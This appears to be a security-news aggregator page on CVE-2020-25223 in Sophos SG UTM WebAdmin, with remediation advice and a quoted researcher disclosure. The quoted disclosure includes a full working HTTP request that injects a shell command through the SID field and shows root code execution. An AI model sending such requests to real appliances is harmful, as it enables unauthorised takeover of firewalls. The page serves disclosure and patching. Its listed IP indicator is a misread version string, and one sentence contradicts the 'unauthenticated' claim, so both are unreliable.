Are you using a Sophos UTM appliance? Be sure it is up to date!
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2020-25223 | Unauthenticated Command Injection RCE in Sophos SG UTM WebAdmin CVE-2020-25223 is an unauthenticated OS command injection (CWE-78) in the WebAdmin management interface of Sophos SG UTM appliances. A remote attacker can trigger it by sending a crafted request to the WebAdmin service containing a malicious SID parameter, which is passed to the underlying system without proper sanitization. Successful exploitation yields remote code execution with high impact on confidentiality, integrity and availability (CVSS 3.1 score of 9.8), effectively giving the attacker control of the firewall appliance. Any organization running SG UTM versions prior to v9.705 MR5, v9.607 MR7, or v9.511 MR11 is affected, particularly where the WebAdmin interface is reachable from the internet. The flaw is being actively exploited: it was added to CISA KEV on 2022-03-25, carries a 96.7% EPSS exploitation probability, and public PoC material exists; any ransomware association is currently unknown. Do: Upgrade SG UTM to v9.705 MR5, v9.607 MR7, or v9.511 MR11 (or later) per vendor instructions, consistent with the CISA KEV required action. Until patched, restrict WebAdmin access to trusted management networks or VPN and ensure it is not directly exposed to the internet. Review WebAdmin access logs for anomalous or crafted SID parameter requests that may indicate prior exploitation, and note that ransomware-related use of this bug has not been confirmed. | 9.8 | 97% | KEV PoC ×2 |
| largeon the order of tens of thousands of internet-exposed SG UTM appliances, with a larger total installed base whose WebAdmin exposure is unknown |
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| ipv4 | 1.5.1.1 | ate X-Requested-With : XMLHttpRequest X-Prototype-Version : 1.5.1.1 Content-type : application/json; charset=UTF-8 Content-Leng |
Full article476 words · extracted from securityaffairs.com · click to collapse
A researcher disclosed technical details of a critical remote code execution vulnerability, tracked as CVE-2020-25223, patched last year.
In September, Sophos addressed a remote code execution vulnerability (CVE-2020-25223) in the WebAdmin of SG UTM that was reported via the company bug bounty program. At the time, the security vendor said that there was no evidence that the vulnerability was exploited in attacks in the wild.
Now researcher Justin Kennedy from security consultancy Atredis Partners disclosed technical details about the RCE. The expert analyzed vulnerable UTM devices used by one of its customers and studied the differences between the patched and unpatched versions of the software to determine how it was fixed and how to exploit the issue.
“When looking for the details on a known patched bug, I started off the same way any sane person would, comparing the differences between an unpatched version and a patched version.” explained the expert in a blog post. “I grabbed ISOs for versions 9.510-5 and 9.511-2 of the Sophos UTM platform and spun them up in a lab environment. Truth be told I ended up spinning up six different versions, but the two I mentioned were what I ended up comparing in the end.”
The expert discovered that it was quite easy to trigger this vulnerability, an attacker could exploit the flaw by sending an HTTP request to vulnerable devices.
If the WebAdmin of Sophos SG UTM was exposed only a remote authenticated attacker could easily exploit it.
“After spending some time attempting to bypass the regex and try different payloads, I had a thought… This input filter only triggers when the location matches webadmin.plx.” explained the expert. “And then I saw it and it was beautiful:
RewriteRule ^/var /webadmin.plx/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:12
Making an HTTP request to the /var endpoint is the same as making a request to the /webadmin.plx endpoint, but without the filter. Making the request again, but to the new endpoint:
POST /var HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}And here’s our file:
# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 17 17:07 /tmp/pwnedWe now have unauthenticated RCE on the Sophos UTM appliance as the root user.“
Organizations using vulnerable versions of the Sophos UTM appliance have to update them immediately.
Follow me on Twitter: @securityaffairs and Facebook
| [adrotate banner=”9″] | [adrotate banner=”12″] |
(SecurityAffairs – hacking, Sophos UTM appliance )
[adrotate banner=”5″]
[adrotate banner=”13″]
Text extracted automatically; images, tables and formatting may be missing. Original: https://securityaffairs.com/121392/hacking/sophos-utm-appliance-rce.html